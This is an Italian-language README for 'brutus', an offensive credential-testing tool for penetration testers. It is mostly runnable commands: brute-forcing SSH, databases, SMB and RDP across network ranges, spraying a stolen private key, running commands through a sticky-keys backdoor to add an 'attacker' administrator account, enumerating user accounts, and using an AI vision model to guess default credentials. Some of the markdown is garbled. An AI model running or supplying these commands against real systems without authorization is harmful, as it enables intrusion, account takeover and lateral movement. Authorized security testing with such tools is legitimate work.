Torna agli aggiornamenti
New releaseJul 25, 2026

brutus v1.10.0

Strumento veloce per test delle credenziali senza dipendenze in Go. Esegui brute force su SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB e oltre 20 protocolli. Alternativa a Hydra con integrazione nativa della pipeline nerva/naabu.

Condividi
Brutus - Social

Brutus

"Et tu, Brute?" — Le ultime parole prima che le credenziali cadano.

Moderno strumento di test delle credenziali in puro Go

InstallazioneAvvio RapidoPipelineProtocolliEnumerazioneProxyLibreria


Panoramica

Brutus è uno strumento di test dell'autenticazione multi-protocollo progettato per colmare una lacuna critica negli strumenti di offensive security: la validazione efficiente delle credenziali su diversi servizi di rete. Mentre gli strumenti incentrati su HTTP sono abbondanti, i penetration tester e gli operatori red team incontrano frequentemente database, SSH, SMB e altri servizi di rete che richiedono capacità di test dell'autenticazione appositamente costruite.

Realizzato in Go come binario singolo con zero dipendenze esterne, Brutus si integra perfettamente con Nerva per il rilevamento automatico dei servizi, consentendo agli operatori di identificare e testare rapidamente i vettori di autenticazione su intere gamme di rete.

Caratteristiche principali:

  • Zero dipendenze: Binario singolo, multipiattaforma (Linux, Windows, macOS)
  • 27 protocolli: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth e altro ancora
  • Supporto proxy SOCKS5: Instradare tutto il traffico attraverso un proxy SOCKS5 con --proxy
  • Modalità di aggressività: --mode cautious|default|aggressive per bilanciare copertura e sicurezza
  • Integrazione pipeline: Supporto nativo per i flussi di lavoro di Nerva, naabu, nmap e masscan
  • Chiavi non valide incorporate: Raccolta integrata di chiavi SSH note (Vagrant, F5, ExaGrid, ecc.)
  • Enumerazione degli account: oracle di esistenza account, enumerazione utenti Kerberos, generazione email, autenticazione codice dispositivo Microsoft Teams/Entra ID
  • Libreria Go: Importa direttamente nei tuoi strumenti di automazione della sicurezza
  • Pronto per la produzione: Limitazione delle richieste, pooling delle connessioni e gestione completa degli errori

Perché Brutus?

Strumenti tradizionali come THC Hydra hanno ben servito la community della sicurezza, ma presentano notevoli attriti: catene di dipendenze complesse, problemi di compilazione specifici della piattaforma e nessuna integrazione nativa con i moderni flussi di lavoro di ricognizione.

Brutus è costruito appositamente per l'offensive security moderna:

  • Distribuzione con zero dipendenze reali: Scarica un singolo binario ed eseguilo. Nessun libssh-dev, nessun libmysqlclient-dev, nessun errore di compilazione. Funziona in modo identico su Linux, macOS e Windows.

  • Integrazione pipeline nativa: Brutus parla JSON e si integra direttamente con Nerva, naabu, nmap e masscan. Invia i servizi scoperti direttamente al test delle credenziali senza conversione di formato o scripting.

  • Intelligenza incorporata: Le chiavi SSH non valide note (Vagrant, F5 BIG-IP, ExaGrid, ecc.) sono compilate nel binario. Usa brutus badkeys per testarle contro target SSH.

  • Progettazione incentrata sulla libreria: Importa Brutus direttamente nei tuoi strumenti Go di sicurezza. Crea automazione personalizzata senza eseguire processi esterni.```bash

Full network credential audit in one pipeline (JSON mode)

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

Or use Nerva's default URI output — no --json flags needed

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

---

## Casi d'Uso

### Test di Penetrazione
- Validare le credenziali scoperte attraverso più servizi durante valutazioni interne
- Testare i modelli di riutilizzo delle password nei servizi di database e condivisione file
- Identificare credenziali predefinite su infrastrutture appena distribuite

### Operazioni Red Team
- Validazione rapida delle credenziali dopo dump di password o campagne di phishing
- Testare opportunità di movimento laterale attraverso i servizi di rete
- Validare credenziali compromesse in ambienti eterogenei

### Private Key Spraying

Trovata una chiave privata su un sistema compromesso? Spargila attraverso la rete per scoprire dove altro concede accesso:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

This pipeline scopre tutti i servizi SSH, li identifica con Nerva e testa la chiave compromessa contro nomi utente comuni—rivelando opportunità di movimento laterale in pochi secondi.

Test del Pannello di Amministrazione Web

Scopri i servizi HTTP e testa le credenziali utilizzando il rilevamento basato su AI o elenchi di credenziali manuali:```bash

AI-powered: auto-detect devices and suggest default credentials

naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json

Manual: test specific credentials against web panels

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json

Default wordlist: test common credentials without AI or -c

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json

### Convalida della sicurezza
- Testare le credenziali predefinite sui servizi appena distribuiti
- Convalidare l'applicazione delle politiche delle password su diverse piattaforme
- Generare tracce di audit per conformità e valutazioni di sicurezza

---

## Installazione

### Binari Precompilati (Consigliato)

Scarica da [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

Noi```powershell

Windows (PowerShell)

Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

### Installazione Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Avvio rapido

Sottocomandi

Brutus organizza le sue funzionalità in sei sottocomandi mirati:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

Ogni sottocomando ha alias per la rilevabilità:

| Sottocomando | Alias |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(nessuno)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Uso base```bash

Test SSH with default credentials

brutus creds --target 192.168.1.100:22 --protocol ssh

Test with specific credentials

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

Test with username and password lists

brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

Test MySQL database

brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

Test SSH with a specific private key

brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

Increase threads for faster testing

brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

JSON output for scripting

brutus creds --target 192.168.1.100:22 --protocol ssh --json

### Esempio di Output```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

Con la modalità verbose (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

Output JSON per l'integrazione pipeline (restituisce solo le credenziali riuscite):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

Integrazione della Pipeline

Brutus si integra perfettamente con Nerva e naabu per una completa ricognizione di rete.

Scenari Reali

Scenario 1: Scansione di una rete aziendale /24```bash

Discover all open ports, identify services, test default credentials

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json

Same pipeline using Nerva's default URI output (no --json needed)

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json

Review findings (all output is successful credentials)

cat results.json | jq '.'

#### Scenario 2: Bug Bounty Recon su un Dominio Target```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

Scenario 3: Caccia al Database in una Valutazione Interna```bash

Find and test all databases in a range

naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json

Extract credentials in readable format

jq -r '"(.target) (.username):(.password)"' database-findings.json

#### Scenario 4: Test delle chiavi SSH sull'infrastruttura```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

Scenario 5: Test mirato del servizio```bash

Test only Redis instances found in the network

naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds

Test only MongoDB with custom credentials

naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb

### Importazione strumenti di scansione (Nmap & Masscan)

Brutus può importare target direttamente dai file di output di scansione di **nmap** e **masscan**, eliminando la necessità di conversione di formato o strumenti intermedi.

#### Importazione XML di Nmap (`--nmap-file`)

Importa target dall'output XML di nmap (`-oX`). Nmap fornisce il fingerprinting dei servizi, quindi Brutus mappa automaticamente i servizi rilevati al protocollo corretto:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

I nomi dei servizi Nmap vengono automaticamente mappati ai protocolli Brutus (ad es., ms-wbt-serverrdp, microsoft-dssmb). Il TLS viene rilevato dall'attributo tunnel="ssl" di nmap. Vengono importate solo le porte aperte su host attivi.

Importazione JSON di Masscan (--masscan-file)

Importa i target dall'output JSON di masscan (-oJ). Poiché masscan è solo uno scanner di porte (nessun fingerprinting dei servizi), è necessario specificare --protocol o lasciare che Brutus esegua l'auto-fingerprinting con Nerva:```bash

Run a masscan port scan

masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

Test all discovered ports as SSH (when you know what's running)

brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

Auto-fingerprint with Nerva (when services are unknown)

brutus creds --masscan-file scan.json -P passwords.txt

#### Combinazione con altri flussi di lavoro

I flag `--nmap-file` e `--masscan-file` funzionano con tutti i sottocomandi e sono mutuamente esclusivi con `--target`, `--targets-file` e stdin:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

Formato di input della pipeline

Brutus accetta diversi formati di input da stdin:

Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

**Nerva URI** (output predefinito di Nerva, nessun `--json` necessario):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

Target nudi (auto-rilevati con Nerva):```bash echo "192.168.1.100:22" | brutus creds

Brutus automaticamente:
- Analizza JSON, schema URI e formati di target bare
- Mappa i servizi ai protocolli
- Testa le credenziali predefinite appropriate
- Restituisce i risultati in formato JSON corrispondente

### Formato di output della pipeline

Brutus restituisce solo le credenziali riuscite in formato JSONL (un oggetto JSON per riga):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

Nota: I tentativi di autenticazione falliti non sono inclusi nell'output JSON. Il campo key appare (come true) quando l'autenticazione ha utilizzato una chiave SSH invece di una password. Il campo llm_suggested appare (come true) quando le credenziali sono state suggerite dal sistema AI (--experimental-ai).


Confronto

CaratteristicaHydraMedusaNcrackBrutus
Singolo Binario
Zero Dipendenze
Proxy SOCKS5
Nerva Pipeline
Importazione Nmap/Masscan
Streaming JSON⚠️
Multipiattaforma⚠️⚠️⚠️
Errori Consistenti⚠️⚠️⚠️
Sviluppo Attivo⚠️
Chiavi Errate Incorporate
Importazione Libreria Go

Protocolli Supportati

Brutus supporta 27 protocolli:

Servizi di Rete

ProtocolloPortaMetodi di AutenticazioneCaso d'Uso
SSH22Password, Chiavi PrivateServer, apparecchiature di rete
FTP21PasswordServer file, dispositivi NAS
Telnet23PasswordSistemi legacy, dispositivi IoT
VNC5900PasswordDesktop remoti
RDP3389NLA/CredSSP, PasswordServer Windows, workstation
SNMP161Stringa di ComunitàDispositivi di rete, stampanti

Servizi Web

ProtocolloPortaMetodi di AutenticazioneCaso d'Uso
HTTP80Autenticazione di BasePannelli di amministrazione (Grafana, Jenkins, ecc.)
HTTPS443Autenticazione di BasePannelli di amministrazione sicuri

Infrastruttura Enterprise

ProtocolloPortaMetodi di AutenticazioneCaso d'Uso
SMB445Password, NTLMReti Windows, condivisioni file
LDAP389/636Bind DNActive Directory, identità
WinRM5985/5986NTLMGestione remota Windows

Database

ProtocolloPortaMetodi di AutenticazioneCaso d'Uso
MySQL3306PasswordApplicazioni web
PostgreSQL5432PasswordApplicazioni moderne
MSSQL1433PasswordApplicazioni enterprise
MongoDB27017PasswordBackend NoSQL
Redis6379PasswordCaching, sessioni
Neo4j7687PasswordDatabase a grafo
Cassandra9042PasswordDatabase distribuiti
CouchDB5984HTTP BasicArchivi di documenti
Elasticsearch9200HTTP BasicMotori di ricerca
InfluxDB8086HTTP BasicDati temporali
Oracle1521PasswordDatabase enterprise

Container e Orchestrazione

ProtocolloPortaMetodi di AutenticazioneCaso d'Uso
Docker2375/2376Non autenticatoDemoni Docker esposti
Kubernetes6443/10250Non autenticatoAPI/kubelet K8s esposti

Comunicazioni

ProtocolloPortaMetodi di AutenticazioneCaso d'Uso
SMTP25/587PasswordRelay di posta
IMAP143/993PasswordAccesso alla casella di posta
POP3110/995PasswordAccesso alla casella di posta

Chiavi SSH Errate Incorporate

Distribuzione con singolo binario senza necessità di file di chiave esterni. Ogni chiave è abbinata al proprio nome utente predefinito per una mappatura intelligente delle credenziali, e il tracciamento CVE abilita query di conformità.

Brutus include le raccolte di chiavi rapid7/ssh-badkeys e Vagrant incorporate nel binario:```bash

Test bad keys against a single target

brutus badkeys --target 192.168.1.100:22

Pipeline mode: scan a range for compromised SSH keys

naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

Test credentials (bad keys are NOT included in creds mode)

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

### Embedded Key Collection

| Prodotto | CVE | Utente predefinito | Descrizione |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | Chiave insicura di HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Chiave host SSH statica |
| ExaGrid | CVE-2016-1561 | root | Backdoor dell'appliance di backup |
| Monroe DASDEC | CVE-2013-0137 | root | Sistemi di allerta di emergenza |
| Barracuda | CVE-2014-8428 | cluster | VM del bilanciatore di carico |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul wireless |
| Array Networks | - | sync | Appliance vAPV/vxAG |
| Quantum DXi | - | root | Appliance di deduplicazione |
| Loadbalancer.org | - | root | Bilanciatori di carico enterprise |

---

## Modalità di aggressività

Il flag globale `--mode` (`-m`) controlla l'aggressività su tutti i sottocomandi. Imposta preset di ottimizzazione delle prestazioni che bilanciano copertura e sicurezza:

| Modalità | Threads | Timeout | Rate Limit | Jitter | Retries | Caso d'uso |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Ambienti di produzione, evitare blocchi |
| `default` | 10 | 10s | Illimitato | Nessuno | 2 | Test standard |
| `aggressive` | 20 | 10s | Illimitato | Nessuno | 3 | Ambienti lab/CTF, copertura massima |

I preset delle modalità vengono applicati per primi, poi eventuali flag CLI espliciti li sovrascrivono:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

Per SNMP, la modalità controlla anche la profondità della wordlist integrata (vedi Test delle stringhe community SNMP).


Supporto proxy SOCKS5

Il flag --proxy instrada tutte le connessioni attraverso un proxy SOCKS5. Questo funziona su tutti i protocolli e sottocomandi:```bash

Route SSH testing through a SOCKS5 proxy

brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

Proxy with authentication

brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

DNS resolution on the proxy side (socks5h)

brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

Combine with pipeline input

naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

Works with all subcommands

brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

Schemi supportati:
- `socks5://` — Proxy SOCKS5 standard (risoluzione DNS lato client)
- `socks5h://` — SOCKS5 con risoluzione DNS remota (utile quando si puntano hostname interni)

---

## Test delle stringhe community SNMP

Il sottocomando `snmp` fornisce test dedicati delle stringhe community SNMP v1/v2c con wordlist a livelli controllate dal flag globale `--mode`:

| Modalità | Stringhe | Copertura |
|------|---------|----------|
| `cautious` | ~25 | Stringhe comuni (public, private, community, ecc.) |
| `default` | ~25 | Uguale a cautious |
| `aggressive` | 200+ | Completa (specifiche del fornitore, SCADA, telecamere IP, storage, ecc.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Integrazione come libreria

Per sviluppatori che costruiscono strumenti di automazione della sicurezza, Brutus può anche essere importato come libreria Go:```bash go get github.com/praetorian-inc/brutus

- **Privacy ed Etica**
  - [Privacy ed Etica](https://github.com/praetorian-inc/brutus/blob/HEAD/privacy_ethics.md)
- **Articoli e Rapporti**
  - [Articoli e Rapporti](https://github.com/praetorian-inc/brutus/blob/HEAD/articles_reports.md)```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

Sperimentale: Rilevamento di Credenziali con IA

⚠️ Funzionalità Sperimentale: Le funzionalità IA richiedono chiavi API esterne e sono in fase di sviluppo attivo.

Il flag --experimental-ai

Il flag --experimental-ai abilita il rilevamento automatico delle credenziali per i servizi HTTP:```bash

Set up API keys

export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

AI-powered credential testing against HTTP services

naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai

**Come funziona:**

1. **Rilevamento** — Brutus sonda i target HTTP per rilevare il tipo di autenticazione (Basic Auth vs form-based)
2. **Identificazione del dispositivo** — Claude Vision analizza gli screenshot per identificare il dispositivo/applicazione
3. **Suggerimento di credenziali** — Claude suggerisce credenziali predefinite basate sui suoi dati di addestramento
4. **Ricerca web opzionale** — Perplexity (se configurato) cerca online ulteriori credenziali
5. **Test** — Verifica le credenziali trovate sul target

**Per i target con autenticazione HTTP Basic Auth:**
- Sonda `/` per catturare gli header HTTP
- Identifica il dispositivo dall'header Server, dal realm WWW-Authenticate, ecc.
- Claude suggerisce probabili credenziali predefinite
- Testa automaticamente le coppie di credenziali

**Per i target con autenticazione HTTP form-based:**
- Utilizza Chrome headless per renderizzare e fare screenshot della pagina
- Claude Vision identifica il form di login, il tipo di dispositivo e suggerisce credenziali
- Perplexity (opzionale) cerca ulteriori credenziali predefinite
- L'automazione del browser compila e invia il form

**Requisiti:**
- `ANTHROPIC_API_KEY` — **Obbligatoria** per Claude Vision (identificazione del dispositivo + suggerimento credenziali)
- `PERPLEXITY_API_KEY` — *Opzionale* per ulteriori ricerche web
- Chrome/Chromium installato (solo per autenticazione form-based)

**I protocolli non HTTP (SSH, MySQL, ecc.) non sono influenzati da `--experimental-ai`** — continuano a utilizzare il test standard delle credenziali.

---

## RDP: Rilevamento e sfruttamento della backdoor Sticky Keys

Brutus include il rilevamento automatico della **backdoor Sticky Keys** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) sui target RDP. Questo controllo pre-autenticazione viene eseguito su target RDP non NLA: non sono necessarie credenziali.

**Come funziona:**

1. Si connette al target RDP e negozia una sessione non NLA
2. Cattura la bitmap della schermata di login come riferimento
3. Invia 5x il tasto Shift (il trigger per Sticky Keys)
4. Cattura la bitmap di risposta
5. L'analisi euristica rileva se è apparsa una finestra di terminale (cmd.exe, PowerShell, ecc.)
6. Opzionalmente conferma tramite l'API Claude Vision (quando `ANTHROPIC_API_KEY` è impostata)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

Modalità solo rilevamento: Il sottocomando logon esegue il rilevamento di sticky keys e backdoor utilman senza forza bruta:```bash

Detection only (no brute force)

brutus logon --target 10.0.0.50:3389

**Output di rilevamento:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Esecuzione di comandi tramite backdoor (--exec)

Una volta rilevata una backdoor, esegui un comando sul sistema remoto tramite il prompt dei comandi pre-autenticazione:```bash

Execute a single command via the backdoor

brutus logon --target 10.0.0.50:3389 --exec "whoami"

Add a local admin account

brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

Questo si connette, attiva il backdoor, digita il comando, preme Invio, attende l'output e salva uno screenshot PNG del risultato.

### Terminale Web Interattivo (`--web`)

Avvia un visualizzatore RDP basato su browser per interagire in tempo reale con il prompt dei comandi del backdoor:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

Questo avvia un server HTTP locale con:

  • Streaming live dello schermo a circa 10 FPS (JPEG su WebSocket)
  • Inoltro completo della tastiera (scancode PS/2 mappati da KeyboardEvent del browser)
  • Supporto del mouse (click, movimento, click destro)
  • Stato della connessione con overlay di disconnessione e pulsante di riconnessione

Apri l'URL visualizzato (ad es., http://127.0.0.1:<porta>) in qualsiasi browser per interagire con la sessione RDP remota. Se la sessione si disconnette a causa del timeout di inattività lato server, fai clic su Riconnetti per stabilire una nuova sessione.

Nota: Le sessioni RDP non NLA hanno un timeout di inattività lato server (il valore predefinito di Windows varia in base alla configurazione, tipicamente controllato da Criteri di gruppo in Configurazione computer > Modelli amministrativi > Servizi Desktop remoto > Limiti di durata sessione). Per estendere il timeout su un target di test, imposta MaxIdleTime su 0 nel registro:

HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)

Considerazioni B-TP (Benign True Positive): La sostituzione del backdoor potrebbe anche indicare procedure di recupero password dimenticate o artefatti di test di penetrazione autorizzati.

Pipeline di scansione RDP di massa

Per valutazioni su larga scala, il sottocomando logon esegue il rilevamento del backdoor su più target. Accetta input da pipeline, file di target o importazioni da nmap/masscan — vengono testati solo i servizi RDP:```bash

Scan a /24 for sticky keys and utilman backdoors

naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json

Scan from nmap results

brutus logon --nmap-file scan.xml --json -o rdp-findings.json

Scan from targets file

brutus logon --targets-file rdp-targets.txt --json

Extract critical findings

jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

**Implementazione tecnica:** Il supporto del protocollo RDP utilizza [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) compilato in WebAssembly ed eseguito tramite [wazero](https://github.com/tetratelabs/wazero), mantenendo il design a singolo binario e zero-CGO di Brutus.

---

## Enumerazione degli account

Il sottocomando `enum` enumera quali oracoli di esistenza account funzionano per un'organizzazione (e enumera le email rispetto a essi) oppure enumera gli utenti di Active Directory, il tutto senza inviare password.

### Enumerazione degli oracoli di esistenza account

Identifica quali oracoli di esistenza account non autenticati (microsoft365, google, github, più l'oracolo di Microsoft Teams) funzionano per un'organizzazione, li convalida rispetto a un utente noto valido, quindi enumera le email candidate rispetto agli oracoli funzionanti. La ricognizione DNS TXT evidenzia gli oracoli candidati; la convalida rispetto a `--known-valid` è il punto principale. `--known-valid` è obbligatorio e l'enumerazione viene eseguita solo sugli oracoli che lo confermano:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

Enumerazione degli utenti Kerberos

Enumerare i nomi utente di Active Directory tramite Kerberos AS-REQ (nessuna password inviata, nessun rischio di blocco account):```bash

Enumerate specific users

brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

Enumerate from file

brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

Generate usernames and pipe to Kerberos enum

brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

### Generazione di Email/Username

Genera indirizzi email o nomi utente da wordlist incorporate di nomi e cognomi:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last

Scopri le persone (email, nome, titolo professionale, telefono, dipartimento, anzianità, confidenza) associate a un dominio tramite l'API Hunter.io Domain Search. Pagina automaticamente fino al recupero di tutti i risultati.```bash

Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

export HUNTER_API_KEY=your_key_here

Discover people for a domain

brutus enum hunter --domain example.com

Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

brutus enum hunter --domain example.com --api-key your_key_here

JSONL output to file (one record per person, with type:"hunter" discriminator)

brutus enum hunter --domain example.com --output people.jsonl

Adjust pagination page size (default: 100)

brutus enum hunter --domain example.com --limit 50

---
### Autenticazione Microsoft Teams / Entra ID

